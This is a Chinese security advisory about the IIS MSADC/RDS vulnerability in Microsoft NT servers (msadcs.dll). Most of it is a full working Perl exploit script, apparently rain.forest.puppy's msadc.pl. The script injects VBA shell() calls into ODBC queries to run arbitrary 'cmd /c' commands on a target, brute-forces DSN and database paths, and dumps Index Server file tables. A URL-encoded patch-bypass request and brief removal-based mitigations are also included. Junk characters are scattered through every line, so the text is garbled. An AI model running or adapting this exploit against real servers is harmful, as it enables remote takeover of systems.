IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i) 2))C K7hf m%`N 涉及程序：
L,
{rMLM% Microsoft NT server
?&"^\p =GQ^uVf1 描述：
IPO[J^#Me 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
KCk?)Qv _=L;`~=C9e 详细：
30_ un 如果你没有时间读详细内容的话，就删除:
CJ?gj V6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
DVhT b 有关的安全问题就没有了。
IMGqJc,7 l;BX \S 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
, 8I AhQa |)q K
g 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
{% _j~ 关于利用ODBC远程漏洞的描述，请参看:
M_1Tx 4VNb `!e http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @LKG\zYBu <}
y p 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$a^ isd4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp "F "_G HqdJdWl#" 这里不再论述。
&^IcL !t[ *>'2$me= 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
JYd7@Msfc 9*KMbd ^T /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~u0xX fv# 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
% kx
^/DH g?~ Tguv 5)yOw|Bd #将下面这段保存为txt文件，然后: "perl -x 文件名"
P;[Y42\z| yvz?4m"_yB #!perl
-2& i)S0R #
4C1FPrh # MSADC/RDS 'usage' (aka exploit) script
cVay=5]. #
8* yo7q& # by rain.forest.puppy
rAx"~l.= #
=x^l[>sz # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
gKN}Of @^1 # beta test and find errors!
i7nL_N h.V]f S use Socket; use Getopt::Std;
d;~ 3P
getopts("e:vd:h:XR", \%args);
fYhR#FVI *AH^%!kVP print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7%9)C[6NSs o-~~,n\ if (!defined $args{h} && !defined $args{R}) {
| qlS6Aln print qq~
85D^ @{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
" #pzZ)Zh -h <host> = host you want to scan (ip or domain)
HK0::6n{ -d <seconds> = delay between calls, default 1 second
mF'-Is -X = dump Index Server path table, if available
Xlv#=@;O] -v = verbose
1TNz&=e -e = external dictionary file for step 5
3Q"F(uE v^ K 3Yw8t2J Or a -R will resume a command session
PW%1xHLfk A XBkJ'jd ~; exit;}
5Lsm_"0 [q -;/ed $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
o\ ngR\> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
s>|Z7[* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8xF)_UV if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5VR.o!h3I $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
r <*O if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%bP~wl~ 5vTv$ 2@ if (!defined $args{R}){ $ret = &has_msadc;
; 8P_av}C die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
fc R j r C_d$Jv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-Z%F mv8 . "cmd /c ";
!4R>O6k $in=<STDIN>; chomp $in;
V+lRi"m?| $command="cmd /c " . $in ;
4xm&pQo{V6 iJdP>x if (defined $args{R}) {&load; exit;}
l'U1
01M>F s^w\zz Yb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ITyzs4"VV &try_btcustmr;
vwKw?Z0%J L=,OZ9a A print "\nStep 2: Trying to make our own DSN...";
W h| L &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0
y< k][ eC ~ jgB print "\nStep 3: Trying known DSNs...";
:pwa{ P &known_dsn;
-!c IesK;< +?;j&p print "\nStep 4: Trying known .mdbs...";
I X9K.f &known_mdb;
1otspOy @,k7 xm$u if (defined $args{e}){
g a-{!$b* print "\nStep 5: Trying dictionary of DSN names...";
IAI(Ix &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6lsL^]7 *Bs^NU. print "Sorry Charley...maybe next time?\n";
%e{(t w p exit;
ivfXat- zmI5"K"'F ##############################################################################
3 jF|Ic p1D() - sub sendraw { # ripped and modded from whisker
(/K5! qh sleep($delay); # it's a DoS on the server! At least on mine...
1}!L][( my ($pstr)=@_;
=EW3&+Lt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/7gi/uh~-( die("Socket problems\n");
-es"0wS<u if(connect(S,pack "SnA4x8",2,80,$target)){
DLi?'K3t select(S); $|=1;
=_
y\Y@J
print $pstr; my @in=<S>;
!\;:36B#6 select(STDOUT); close(S);
T C8`JU=wV return @in;
mV?&%>*(f } else { die("Can't connect...\n"); }}
rJQ=9qn\ Jx $iwu ##############################################################################
R" +wih +K ^h!d] sub make_header { # make the HTTP request
,r=re!QI7 my $msadc=<<EOT
3]/.\(2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
+TN^NE User-Agent: ACTIVEDATA
tPU-1by$ Host: $ip
bLbR IY"l Content-Length: $clen
s<vs:jna Connection: Keep-Alive
t`5j4bdG zA s&%OjG ADCClientVersion:01.06
A59 gIp*> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9t K>gwb ^e%}[q[>| --!ADM!ROX!YOUR!WORLD!
A
W HU' Content-Type: application/x-varg
r` 6:Q&& Content-Length: $reqlen
5& !'^!
XP-C EOT
|]W2EV ,b ; $msadc=~s/\n/\r\n/g;
#?Mj$ZB return $msadc;}
b5pMq$UVL ~Ky4+\6o> ##############################################################################
uZIJoT 8>N wCjN sub make_req { # make the RDS request
!msNEE@[ my ($switch, $p1, $p2)=@_;
{%b
}Z2
my $req=""; my $t1, $t2, $query, $dsn;
Hi7y(h?wj lb~E0U`\E` if ($switch==1){ # this is the btcustmr.mdb query
rk|@B{CA; $query="Select * from Customers where City=" . make_shell();
XE rUS80 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*1^$. Q & $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`8:K[gp
!tNd\ }@ elsif ($switch==2){ # this is general make table query
;..o7I $query="create table AZZ (B int, C varchar(10))";
1 ] #9
$dsn="$p1";}
*Zbuq8> G[Tl%w elsif ($switch==3){ # this is general exploit table query
WeMAe
w/d $query="select * from AZZ where C=" . make_shell();
A:# k $dsn="$p1";}
=Z,5$6%) M#,Q
^rH# elsif ($switch==4){ # attempt to hork file info from index server
H&4~Uo.5 $query="select path from scope()";
Rc[ 0aj: $dsn="Provider=MSIDXS;";}
idc4Cf+4 A\QJLWBv^$ elsif ($switch==5){ # bad query
7:Zt uc] $query="select";
'6-$Xq0^E $dsn="$p1";}
o 3N] `xD' $_D6 _|HK $t1= make_unicode($query);
6f)2 F<
7 $t2= make_unicode($dsn);
HpW 42 $req = "\x02\x00\x03\x00";
KE}H&1PjU $req.= "\x08\x00" . pack ("S1", length($t1));
#sB,1" $req.= "\x00\x00" . $t1 ;
9&Ne+MY^% $req.= "\x08\x00" . pack ("S1", length($t2));
7J*N_8?2 $req.= "\x00\x00" . $t2 ;
?+2b(2&MXE $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
g(hOg~S\E return $req;}
'#\1uXM1U? 'g)n1 { ##############################################################################
U|@V
74 d=3 '?l` sub make_shell { # this makes the shell() statement
_yH`t[ return "'|shell(\"$command\")|'";}
T!2=*~A jqnCA<G~B- ##############################################################################
3
hKBc0 }< 5F sub make_unicode { # quick little function to convert to unicode
C~4PE>YtTv my ($in)=@_; my $out;
+wO#'D for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pz|'l:v^ return $out;}
~DF:lqwWP TNwK da+ ##############################################################################
$m| V :/ v;EQ, NL sub rdo_success { # checks for RDO return success (this is kludge)
-db75= my (@in) = @_; my $base=content_start(@in);
\3XqHf3|o if($in[$base]=~/multipart\/mixed/){
^%>kO, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
m D58T2 Z return 0;}
=L-I-e97@ F<&!b2)ML ##############################################################################
,
YW|n:X ;xYNX
sub make_dsn { # this makes a DSN for us
s!+
pL| my @drives=("c","d","e","f");
?]O7Ao print "\nMaking DSN: ";
kv{}C)kt3 foreach $drive (@drives) {
Vw{*P2v) print "$drive: ";
g);^NAA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0?DC00O "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
EbY,N:LK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
';B# Gx $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,&^3Z return 0 if $2 eq "404"; # not found/doesn't exist
iw9Q18:I} if($2 eq "200") {
5F"|E-; foreach $line (@results) {
=aG xg57 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
- y AQ } return 0;}
Q \hY7Xq' s)J(/ ##############################################################################
p0:kz l4$ OO) ~HV4\ sub verify_exists {
]0V}D,V($ my ($page)=@_;
'jg3 my @results=sendraw("GET $page HTTP/1.0\n\n");
U7 @AC}.+ return $results[0];}
v Gy8Qu > =EP13J ##############################################################################
K=::)/{ P z YE R sub try_btcustmr {
lSwcL my @drives=("c","d","e","f");
_fk#< my @dirs=("winnt","winnt35","winnt351","win","windows");
&53]sFZ
}_'IE1bA foreach $dir (@dirs) {
W_|0y4QOo print "$dir -> "; # fun status so you can see progress
/ ~ %KVe foreach $drive (@drives) {
`>C<}xO print "$drive: "; # ditto
2x]>l?
5b $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`fNpY#QsN $reqlenlen=length( "$reqlen" );
8 IQtz2 $clen= 206 + $reqlenlen + $reqlen;
A7_4 .VH ZP\M9Ja my @results=sendraw(make_header() . make_req(1,$drive,$dir));
bm~W
EX if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=wWpP-J& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{Ro2ouQ!V s ^Nw%KAv ##############################################################################
- YqY cer rqPo)AL sub odbc_error {
d*8 $>GA my (@in)=@_; my $base;
`r"+644 my $base = content_start(@in);
gV;H6" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
e}Vw!w $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B!]2Se2G $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!|hoYU>@2L $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=ac_,]z return $in[$base+4].$in[$base+5].$in[$base+6];}
(& "su3z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
MM_k
]-7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|077Sf | $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fE f_F
r Qj{8?lew ##############################################################################
+j _ ;(Gw7 >^Q &nkB"B sub verbose {
{6;9b-a] my ($in)=@_;
H<hVTc{K return if !$verbose;
]B"'}%>ez print STDOUT "\n$in\n";}
(tah]Bx lf{e[!ML' ##############################################################################
'VyM{:8 <P[T!gST sub save {
9_ s6l my ($p1, $p2, $p3, $p4)=@_;
v,-{Z1N%m open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K%<j=c print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
xJ^ >pg8 close OUT;}
G@FI0\t [v 7^i_d ##############################################################################
$E<Esf$ fqX"Lus `= sub load {
ZRxZume<f
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
00I}o%akO open(IN,"<rds.save") || die("Couldn't open rds.save\n");
? &G`{Ey @p=<IN>; close(IN);
E1dD7r\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^'CPM6J $target= inet_aton($ip) || die("inet_aton problems");
n~"$^Vr print "Resuming to $ip ...";
<?-Y TY| $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w{[=l6L m if($p[1]==1) {
f0<hE2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2]GdD* $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
=ph&sn$;L my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
CTt vyr if (rdo_success(@results)){print "Success!\n";}
rk+#GO{ else { print "failed\n"; verbose(odbc_error(@results));}}
~7~~S*EQ elsif ($p[1]==3){
](tx<3h if(run_query("$p[3]")){
{2/LRPT print "Success!\n";} else { print "failed\n"; }}
<DKS +R elsif ($p[1]==4){
5$DHn ] if(run_query($drvst . "$p[3]")){
q"O.Cbk print "Success!\n"; } else { print "failed\n"; }}
|b-9b& exit;}
`p;eIt i|w8.}0 ##############################################################################
Wcb7
;~K j ?y LDLj sub create_table {
NaVQ9ku7VW my ($in)=@_;
F(4?tX T $reqlen=length( make_req(2,$in,"") ) - 28;
,fK3ZC $reqlenlen=length( "$reqlen" );
"|;:>{JC $clen= 206 + $reqlenlen + $reqlen;
l zw3= H my @results=sendraw(make_header() . make_req(2,$in,""));
,NnhHb2\ return 1 if rdo_success(@results);
sK{l 9 my $temp= odbc_error(@results); verbose($temp);
+iRq8aS_
return 1 if $temp=~/Table 'AZZ' already exists/;
V fv@7@q return 0;}
56^ +;^f^` M02uO`Y9 ##############################################################################
a#m NE*Dg F'g Vzf sub known_dsn {
SH*C" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:[ k4Z]t8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
j1_ @qns{ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<;E "banner", "banners", "ads", "ADCDemo", "ADCTest");
D9`0Dr}/2 kb[P\cR a foreach $dSn (@dsns) {
iA8U Yd3Q print ".";
~m|Mg9- next if (!is_access("DSN=$dSn"));
>=]'hyn]] if(create_table("DSN=$dSn")){
C6O8RHg print "$dSn successful\n";
z0|&W&&D if(run_query("DSN=$dSn")){
xs\!$*R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
K;LZ- print "Something's borked. Use verbose next time\n";}}} print "\n";}
? uYu`Ojzr *~m+Nc`D,N ##############################################################################
v9Xp97 J2 \Mg`(,kwe sub is_access {
>iS`pb my ($in)=@_;
wApMzZ(X2y $reqlen=length( make_req(5,$in,"") ) - 28;
LL|7rS|o $reqlenlen=length( "$reqlen" );
,J`'Y+7W $clen= 206 + $reqlenlen + $reqlen;
dw.F5?j`b my @results=sendraw(make_header() . make_req(5,$in,""));
Wf{O[yL* my $temp= odbc_error(@results);
sA g Kg=) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ZeG_en ; return 0;}
m*$| GW9 P2nft2/eu? ##############################################################################
2e$w?W0^ P"<U6zM\sP sub run_query {
Ou{v/'9z, my ($in)=@_;
##Z_QB(; $reqlen=length( make_req(3,$in,"") ) - 28;
7'
S @3 $reqlenlen=length( "$reqlen" );
^F:k3,_[ $clen= 206 + $reqlenlen + $reqlen;
/ y^7p9Z` my @results=sendraw(make_header() . make_req(3,$in,""));
jy]JiQ B return 1 if rdo_success(@results);
`DT3x{}_S my $temp= odbc_error(@results); verbose($temp);
8k(P,o return 0;}
upeU52@\ >J|]moSVA ##############################################################################
-hkQ2[Ew# [:^-m8QC sub known_mdb {
$9S(_xdI& my @drives=("c","d","e","f","g");
Y?ez9o:/# my @dirs=("winnt","winnt35","winnt351","win","windows");
Rq[ M 29 my $dir, $drive, $mdb;
Q,& /V_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e^ lWR] v ]v#r4Ert # this is sparse, because I don't know of many
c1%H4j4/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
CRbdAqofV "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_ Ro! "YVX "\\system32\\certmdb.mdb",
l2; CQ7 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
E~LT b )
! 9b?SHzAa my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
nenU)*o "\\cfusion\\cfapps\\forums\\forums_.mdb",
~EK'&Y"1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
O5H9Y}i] "\\cfusion\\cfapps\\security\\realm_.mdb",
q5>v'ZS o "\\cfusion\\cfapps\\security\\data\\realm.mdb",
F@R1:M9* "\\cfusion\\database\\cfexamples.mdb",
3s"0SLS4 "\\cfusion\\database\\cfsnippets.mdb",
PvGDTYcKp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
?BhMjs y. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
P>9a I/d9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
h^j?01*Et "\\cfusion\\database\\smpolicy.mdb",
1^i Pj i/ "\\cfusion\\database\cypress.mdb",
M>M`baM1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
erVO|<%=R "\\website\\cgi-win\\dbsample.mdb",
TNQP" 9 [? "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
s}pIk.4ot! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
D1nq2G wS ); #these are just
w,R[C\#J foreach $drive (@drives) {
1Z{ZV. ! foreach $dir (@dirs){
3 =W!4 foreach $mdb (@sysmdbs) {
9o>8 o print ".";
Z'H5,)j0R if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Jk0r&t7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.rPn5D Y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%r4 q8- print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6i0A9SN } else { print "Something's borked. Use verbose next time\n"; }}}}}
ZylJp8U 7OjR ._@ foreach $drive (@drives) {
w,Ee>cV]a foreach $mdb (@mdbs) {
v:+ ~9w+ print ".";
!45.puL0 if(create_table($drv . $drive . $dir . $mdb)){
7 bDH Xn print "\n" . $drive . $dir . $mdb . " successful\n";
wu"&|dt if(run_query($drv . $drive . $dir . $mdb)){
b=3H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_,</1~. } else { print "Something's borked. Use verbose next time\n"; }}}}
xG;-bJu }
D /h/Y) Y Jjl`_X$CB ##############################################################################
)F b>8<% 4[r/}/iG o sub hork_idx {
fr! Pj(Q1 print "\nAttempting to dump Index Server tables...\n";
jF[ 1za print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
U \rh [0 $reqlen=length( make_req(4,"","") ) - 28;
y,pZTlE $reqlenlen=length( "$reqlen" );
N?X~ w < $clen= 206 + $reqlenlen + $reqlen;
|pa$*/!NT my @results=sendraw2(make_header() . make_req(4,"",""));
uytE^ if (rdo_success(@results)){
Et_V,s<| my $max=@results; my $c; my %d;
"[:iXR u for($c=19; $c<$max; $c++){
k<+0o)) $results[$c]=~s/\x00//g;
S .!UPkW H $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I5h[%T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
[%&ZPJT%i $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
% >;#9"O4 $d{"$1$2"}="";}
XR!us/U`a foreach $c (keys %d){ print "$c\n"; }
h_d<! } else {print "Index server doesn't seem to be installed.\n"; }}
CkswJ:z)sc .G o{1[ ##############################################################################
F7")]q3I~ ; O< 9|? sub dsn_dict {
?JxbSK# open(IN, "<$args{e}") || die("Can't open external dictionary\n");
"`[!L z while(<IN>){
tTU=+*Io $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
P9T5L<5 next if (!is_access("DSN=$dSn"));
.Yw'oYnS if(create_table("DSN=$dSn")){
F ]O$(7* print "$dSn successful\n";
Su 5>$ if(run_query("DSN=$dSn")){
^ }f -!nf[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fh^lO ^ print "Something's borked. Use verbose next time\n";}}}
@x c ', I print "\n"; close(IN);}
:R.&`4=X (RtueEb.~E ##############################################################################
rWh6RYd<T Q?AmOo-a sub sendraw2 { # ripped and modded from whisker
N$[$;Fm: sleep($delay); # it's a DoS on the server! At least on mine...
lg pW@ g my ($pstr)=@_;
_ bD/D !| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=+w*gDr die("Socket problems\n");
;L&TxO>#J if(connect(S,pack "SnA4x8",2,80,$target)){
E\m5%bK\B print "Connected. Getting data";
M,}|tsL open(OUT,">raw.out"); my @in;
. @Ut?G select(S); $|=1; print $pstr;
pW u LfX while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
34!dYr% close(OUT); select(STDOUT); close(S); return @in;
>M Jg , } else { die("Can't connect...\n"); }}
Dup;e&9g .d/: 30Y ##############################################################################
PQ|69*2G 7w;O}a xI sub content_start { # this will take in the server headers
2BCtJ`S` my (@in)=@_; my $c;
5sPywk{ for ($c=1;$c<500;$c++) {
LI)!4(WH if($in[$c] =~/^\x0d\x0a/){
,
*qCf@$I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+\Q?w?DE| else { return $c+1; }}}
bx K(9. return -1;} # it should never get here actually
E+C5 h
;p& i@NqC;~; ##############################################################################
4 g.
bR 1009ES7* sub funky {
'Pvm8t my (@in)=@_; my $error=odbc_error(@in);
- y9>;6 if($error=~/ADO could not find the specified provider/){
n}xhW'3hU= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?OdJqw0,G exit;}
|# l= if($error=~/A Handler is required/){
} IEb yb print "\nServer has custom handler filters (they most likely are patched)\n";
aCV4Ay G exit;}
L!_ZY if($error=~/specified Handler has denied Access/){
; v print "\nServer has custom handler filters (they most likely are patched)\n";
j EXW exit;}}
y$81Z q ,&U4a1%i#c ##############################################################################
Hqh6:RuL V 0 nn4dVO sub has_msadc {
2k6 X, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1+`l7'F my $base=content_start(@results);
^w ~23g. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
qz4^{ return 0;}
CXtU" X #GaxZ ########################
|lH;Fq {\ <\zCpkZ'B D }3XFuZs_ 解决方案：
6a}"6d/sTL 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
$>U #
W: 2、移除web 目录: /msadc
